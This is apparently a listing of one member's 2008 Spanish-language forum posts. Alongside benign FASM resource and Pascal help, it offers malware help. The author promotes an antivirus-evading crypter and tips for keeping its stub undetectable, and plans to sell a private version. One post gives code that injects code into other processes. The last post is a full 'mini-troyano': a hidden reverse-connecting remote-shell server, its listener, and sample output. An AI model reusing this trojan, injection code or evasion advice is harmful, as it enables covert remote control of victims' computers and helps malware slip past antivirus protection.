| |
|
211
|
Programación / Programación General / Re: Estilo XP con FASM
|
en: 09 Mayo 2008, 21:31
|
Vamo a ver, q me entere yo entonces, q me he perdido, lo de incluir el res de la forma que ha dicho Dominicano debería funcionar o no? (desde luego a mi no me funciona...) A ver, lo que hado es lo siguiente: - Abro el VC++, añado un dialog con un Edit Box dentro y les pongo como id ID_Dialog y ID_Text. - Compilo el exe en C, y sigo los pasos q a puesto dominicano y me genera el .res perfectamente (por cierto, yo uso SP3 y no me da problemas  ) - En el fasm tengo este codigo: format PE GUI 4.0 entry start include 'H:\archivos de programa\fasm\include\win32ax.inc' ID_Dialog = 101 ID_Text = 1000 section '.code' code readable executable start: invoke DialogBoxParam, <invoke GetModuleHandle,0>, ID_Dialog, HWND_DESKTOP, DialogProc, 0 invoke MessageBox, 0, 'Salimos', 0,0 invoke ExitProcess, 0 proc DialogProc, hwnddlg, msg, wparam, lparam push ebx esi edi cmp [msg],WM_CLOSE je cerrar xor eax,eax jmp fin cerrar: ; Salimos invoke EndDialog,[hwnddlg],0 fin: pop edi esi ebx ret endp section '.idata' import data readable writeable library kernel32,'KERNEL32.DLL',\ user32, 'USER32.DLL' include 'H:\archivos de programa\fasm\include\api\kernel32.inc' include 'H:\archivos de programa\fasm\include\api\user32.inc' section '.rsrc' resource from 'loquesea.res' que me ensambla correctamente y me geenera un exe q cuando intento ejecutar me da este error: "Solo se completó una parte de la petición ReadProcessMemory o WriteProcessMemry" Ademas el ejecutable final ocupa 30KB  y es por q en la sección de recursos en vez de meter solamente los recursos mete el res entero con su cabecera pe y todo... Los archivos q me genera VC++ son estos: resource.h//{{NO_DEPENDENCIES}} // Microsoft Developer Studio generated include file. // Used by Script1.rc // #define ID_Dialog 101 #define ID_Text 1000
// Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 102 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif Script1.rc#include "resource.h"
#define APSTUDIO_READONLY_SYMBOLS
#include "afxres.h"
#undef APSTUDIO_READONLY_SYMBOLS
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ESN) #ifdef _WIN32 LANGUAGE LANG_SPANISH, SUBLANG_SPANISH_MODERN #pragma code_page(1252) #endif //_WIN32
ID_Dialog DIALOG DISCARDABLE 0, 0, 186, 90 STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU FONT 8, "MS Sans Serif" BEGIN EDITTEXT ID_Text,27,25,112,23,ES_AUTOHSCROLL END
#ifdef APSTUDIO_INVOKED
1 TEXTINCLUDE DISCARDABLE BEGIN "resource.h\0" END
2 TEXTINCLUDE DISCARDABLE BEGIN "#include ""afxres.h""\r\n" "\0" END
3 TEXTINCLUDE DISCARDABLE BEGIN "\r\n" "\0" END
#endif // APSTUDIO_INVOKED
#endif // Spanish (Modern) resources
#ifndef APSTUDIO_INVOKED
#endif // not APSTUDIO_INVOKED Tu como lo haces exactamente ®®? tb usas el VC++ o hay programas especiales?? Salu2 y gracias a todos
|
|
|
|
|
212
|
Programación / Programación General / Re: Estilo XP con FASM
|
en: 09 Mayo 2008, 20:25
|
Una cosa ®®, a mi esto no me funciona: section '.rsrc' resource from 'resource.rc'  Puede ser por q hay q usar un archivo .res en vez de .rc? Lo estoy haciendo con VC++ y me e fijado en un ejeplo en Masm q usa un .rc, no un .res... y con q programa puedo hacer un .res? Salu2 y gracias
|
|
|
|
|
214
|
Programación / Programación General / Re: Matrices en Pascal (duda)
|
en: 09 Mayo 2008, 19:32
|
Pues haz esto: PROGRAM QueAscoDaPascal; TYPE rDatos = RECORD Maximo : Integer; PosX : Integer; PosY : Integer; END; aMatriz = ARRAY [1..100,1..100] OF Integer; VAR Datos : rDatos; Matriz : aMatriz; X, Y : Integer; (* Contadores *) BEGIN Matriz[1,1] := 1; Matriz[50,50] := 15; Matriz[57,20] := 40; Datos.Maximo := -1; FOR X := 1 TO 100 DO BEGIN FOR Y := 1 TO 100 DO IF Datos.Maximo < Matriz[X,Y] THEN BEGIN Datos.Maximo := Matriz[X,Y]; Datos.PosX := X; Datos.PosY := Y; END; END; WriteLn('Maximo = ', Datos.Maximo, ' encontrado en la fila: ', Datos.PosX, ' columna: ', Datos.PosY); ReadLn; END. Compilado en Free Pascal sin problemas, te tiene q devolver esto: "Maximo = 40 encontrado en la fila: 57 columna: 20" Salu2
|
|
|
|
|
215
|
Programación / Programación General / Re: Estilo XP con FASM
|
en: 09 Mayo 2008, 17:11
|
Tienes k anadir el .manifest (no tiene k tener el mismo nombre del exe), llamale XPStyle.manifest o lo k kieras y tienes k anadir el resource con el nombre "24" y el id tiene k ser 1. Luego pones en el codigo lo k te dice Plaga.
Pero de que tipo se supone q tiene q ser el recurso del manifest? tipo texto (RT_STRINGT??) Esto de tratar los recuros con fasm es un lio de cohones, por no hablar de la extensa documentacion q brindan xDDDDD Al final creo q voy a hacer los resources con el VC++ y se lo añado a fasm, aunke para eso tamben dan mucha documentacion en la web oficial: There are two ways to create resources, one is to include the external resource file created with some other program, and the other one is to create resource section manually. Y ya está, no te dicen como linkear, ni se vuelve a tocar el tema ni na de na  aunke será inclullendola supongo.. Alguien q haya trabajado con resources en fasm me puede hechar un mano? Salu2 EDIT - Weno, solucionado lo de añadir por lo menos el recurso, se consigue asi: resdata manifest file 'GUI.exe.manifest' endres Ahora la cosa sería usarlo...
|
|
|
|
|
216
|
Programación / Programación General / Re: Estilo XP con FASM
|
en: 09 Mayo 2008, 15:57
|
Anda, pues acabo de probar con el manifest que has puesto y si que me coje estilo xp, sería q el manifest con el que hice la prueba tendría algo mal.. Por cierto, como puedo meter el manifest como recurso y luego extraerlo y usarlo? Muchas gracias 
|
|
|
|
|
218
|
Seguridad Informática / Análisis y Diseño de Malware / Re: [+] SMALL CRYPTER by E0N
|
en: 09 Mayo 2008, 00:10
|
Yo sabia que todo tiene que tener su parte para hacerr negocio ,bueno si no es muy caro me vas a tener de comprador wink. s4lu2! Ya os regalo una versión gratuita y 100% funcional, q mas kereis?  El q la kiera indetectable para siempre q pague, q yo imbierto tiempo en codear... Salu3 PD a q le llamas tu "no muy caro" por ir orientando precios? 
|
|
|
|
|
219
|
Programación / Programación C/C++ / Re: Carregando Programa direto na memoria e executando.
|
en: 08 Mayo 2008, 17:56
|
Te estas liando  A ver, VirtualAlloc es para reserbar memoria en tu propio proceso, VirtualAllocEx es para reservarla en otro q es lo q te interesa a ti  El ejemplo de Eternal Idol era una demostración de como hacerlo en tu propio proceso, las apis q tu tienes q usar son estas y en este orden: OpenProcess VirtualAllocEx WriteProcessMemory CreateRemoteThread Solo esas apis, ese asm in line q has puesto borralo Para documentarte sobre ellas nada mejor q la MSDN y si quieres ver algún ejemplo de esto puedes mirarte este tuto que hice sobre rootkits, aunque hay mucha más documentación por internet más extensa http://personal.telefonica.terra.es/web/alexb/manus/Creando un rootkit desde cero by E0N.rar Salu2 
|
|
|
|
|
220
|
Seguridad Informática / Análisis y Diseño de Malware / Re: [+] SMALL CRYPTER by E0N
|
en: 08 Mayo 2008, 14:14
|
Tengo un problema para hacerle un ollo a este crypter con el topo, le asigno más espacio adicional y me aumenta también el tamaño del stub pero me lo deja inservible con solo hacerle el ollo.. que podrá ser?? A ver, el crypter no tiene ni un solo 0 donde poder escribir, por eso se te amplia el tamaño del stub, la cosa es q al ampliar el tamaño logicamente te keda inservible por q hay una parte del code en la q tienes q meter en la pila el tamaño del stub, eso lo tiens q modificar y listo De todas formas sacaré version pribada dentro de poco (de pago) para q kien la tenga le dure indetectable siempre  Salu2
|
|
|
|
|
222
|
Seguridad Informática / Análisis y Diseño de Malware / Re: [+] SMALL CRYPTER by E0N
|
en: 07 Mayo 2008, 20:48
|
Pues lo comenté por aki: Cuando lo llenen de firmas si te será mas facil modificarlo al ser mas pekeño, solo te doy una pista, si amplias el tamaño del stub por alguna circustancia (lo vas a tener q hacer por q no hay 0's donde escribir) mira con el olly el código y asegurate de cambiar una de las primeras instrucciones para q meta en la pila el tamaño nuevo del stub 
|
|
|
|
|
223
|
Programación / Programación C/C++ / Re: Carregando Programa direto na memoria e executando.
|
en: 07 Mayo 2008, 18:10
|
Si se puede hacer, como te ha dicho EternalIdol por poner un ejemplo muy simple de como sería (esto no funciona claro, pero es la idea  ): BYTE scode[] = { 0x6A,0x00,0x6A,0x00,0x6A,0x00,0x6A,0x00,0xFF,0x15,0x3C,0x20,0x40,0x00,0xC3 }; /* push 0 push 0 push 0 push 0 call [MessageBox] ret */
proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid); pos = VirtualAllocEx(proceso,NULL,sizeof(scode),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); WriteProcessMemory(proceso,pos,scode,sizeof(scode),&bUsados); CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)pos,Parametros_q_kieras_pasar,NULL,NULL); CloseHandle(proceso);
Te en cuenta que no puedes usar variables en la "ShellCode" ya que se refieren a posiciones concretas de memoria y en el otro proceso no las tienes  Para pasar parametros a la función que inyectes miarte la descripción de CreateRemoteThread, que uno de sus parametros es precisamente para pasar parametros (si kieres pasar mas de uno pasas el puntero a una estructura con todos los parametros  ) Salu2
|
|
|
|
|
225
|
Programación / Programación C/C++ / Re: WSAsocket() contra socket()
|
en: 07 Mayo 2008, 17:11
|
char salir[6] = "salir\n"; Ponle un 7 que falta el caracter de fin de cadena (es mas a mi con un 6 ni me compila...) 1. Abrir una nueva shell. (Por cierto como puedo abrir otra ventana cmd independiente?). Ni idea, pero ya q te pones podias hacer una interfaz con ventanas y eso, q para este programa es mucho más útil. A mi personalmente no me gusta mucho redirigir directamente los pipes por q si kieres meterle mas opciones al programa luego dificulta bastante. Yo tengo hecho un mini-troyano en C y VB y el metodo q uso es este: SERVER:#include <winsock2.h> #include <winsock2.h> #include <windows.h> #include <string> // INCLUDES PROPIAS #include "Módulos/funVarias.h" #include "Módulos/shell.h" #pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock // FUNCIÓN MAIN () void main() { WSADATA wsa; SOCKET sock; struct hostent *host; struct sockaddr_in direc; int conex; char Buffer[1024]; int len; //ShowWindow(GetForegroundWindow(),SW_HIDE); // Para ocultar la consola for(;;) // Entramos en un bucle eterno, el corazón del server { //Inicializamos WSAStartup(MAKEWORD(2,2),&wsa); host=gethostbyname("localhost"); //creamos el socket sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (sock==-1) return; direc.sin_family=AF_INET; direc.sin_port=htons(1234); direc.sin_addr = *((struct in_addr *)host->h_addr); memset(direc.sin_zero,0,8); //Intentamos establecer la conexión hasta que lo logremos conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); while (conex == -1) { Sleep(100); conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); } while (len!=0) //Mientras que permanezcamos conectados { len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie if (len>0) //Si seguimos conectados... { Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena std::string sBuffer(Buffer); // --> Para la shell remota if (Split(sBuffer, '|', 0) == "iniShell") { // Lanzamos la shell IniShell(); sBuffer = "leerShell"; // Para que se envien los primeros datos leidos } if (Split(sBuffer, '|', 0) == "escribirShell") { // Escribimos en el pipe EscribirPipe(Split(sBuffer, '|', 1) + "\n"); Sleep(100); sBuffer = "leerShell"; // Para que se envien los primeros datos leidos } if (Split(sBuffer, '|', 0) == "leerShell") { // Leemos la shell std::string rPipe; // La cadena que leemos del pipe std::string enviar; // La cadena que enviaremos rPipe = LeerPipe(); enviar = "leerShell|" + rPipe + "_-^FIN"; len = send(sock,enviar.c_str(),enviar.length(),0); } if (Split(sBuffer, '|', 0) == "cerrarShell") { // Destruimos la shell DestruirShell(); } } } } // Fin del for } En "Módulos/shell.h" tengo las 4 funciones q te e pasado antes y en "Módulos/funVarias.h" tengo definida la función Split q es esta: #include "funVarias.h" // LA FUNCIÓN SPLIT std::string Split (std::string cadena, char m, int numero) { int posicion; //Determina la posición del caracter por donde keremos partir std::string principal; //Cadenas donde guardaremos los trozos deseados std::string secundaria; secundaria = cadena; for (int n = 0; n <= numero; n++) { posicion = secundaria.find (m); principal = (secundaria.substr (0,posicion)); //Guardamos el primer trozo de cadena secundaria = (secundaria.substr (posicion + 1,secundaria.length ())); //Guardamos el resto de la cadena } return principal; //Devolvemos el trozo de cadena deseado, si no lo hemos encontrado se dvuelve la cadena entera } Los .h supongo q ya sabras hacerlos tu (o metelo todo apiñado en un cpp aunke lo desaconsejo...  ) El cliente lo tengo hecho en VB, pero te lo paso a C, sería algo así basandome en tu code: CLIENTE:#include <stdio.h> #include <winsock2.h> #include <iostream> #pragma comment(lib, "ws2_32.lib") int main(int argc, char *argv[]) { WSADATA wsa; SOCKET sock; struct sockaddr_in adr; int len; char buffer[1024]; char salir[7] = "salir\n"; int lenLlegada; char buffLlegada[1024]; // Inicializamos WSAStartup(MAKEWORD(2,2), &wsa); // sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,(unsigned int)NULL,(unsigned int)NULL); // Direccionamos el sock adr.sin_family = AF_INET; adr.sin_addr.s_addr = INADDR_ANY; adr.sin_port = htons(1234); memset(adr.sin_zero, 0, 8); //de obligado cumplimiento // Asociamos sock a direccion if (bind(sock, (SOCKADDR *)&adr, sizeof(SOCKADDR)) == -1){ printf("Error en el bind 1.\n2"); return -1; } if (listen(sock, 1) == -1){ printf("Error en el listen 1.\n2"); return -1; } len = sizeof(struct sockaddr); sock = accept(sock, (struct sockaddr *)&adr, &len); // Solicitamos comando por consola una vez aceptada la comunicacion printf("Escribe el texto a enviar y salir para quit.\n"); while (strcmp(buffer, salir) != 0){ printf("Texto a enviar:"); fgets(buffer, 1023, stdin); len = send(sock, buffer, strlen(buffer), 0 ); Sleep (100); lenLlegada = recv(sock,buffLlegada,1023,0); if (lenLlegada != 0) { buffLlegada[lenLlegada]=0; std::cout << " LLEGADA SHELL:\n\n"; std::cout << buffLlegada; std::cout << "\n\n------------------------------\n\n\n\n"; } } closesocket(sock); WSACleanup(); return 0; } Si escribes en la onsola los comandos indicados te irá mostrando lo q kieres, de una forma muuuuy cutre por q lo e adaptado en 5 min, pero la idea se ve, ahora a mejorarlo  Por poner un ejemplo de la salida: Escribe el texto a enviar y salir para quit. Texto a enviar:iniShell| LLEGADA SHELL:
leerShell|Microsoft Windows XP [Versión 5.1.2600]_-^FIN
------------------------------
Texto a enviar:escribirShell|cd.. LLEGADA SHELL:
leerShell| (C) Copyright 1985-2001 Microsoft Corp.
H:\Documents and Settings\Jose\Escritorio\Remote Shell\Server>cd..
H:\Documents and Settings\Jose\Escritorio\Remote Shell> H:\Documents and Settings\Jose\Escritorio\Remote Shell>_-^FIN
------------------------------ Se entiende no? así puedes hacer lo q kieras para tu mini troyano, es hecharle imaginación nada más y no dependes ni del nc ni de nada, puro code  Salu2 PD - Para bucles eternos usa for(;;) q es mas depurado 
|
|
|
|
|
|
| |
|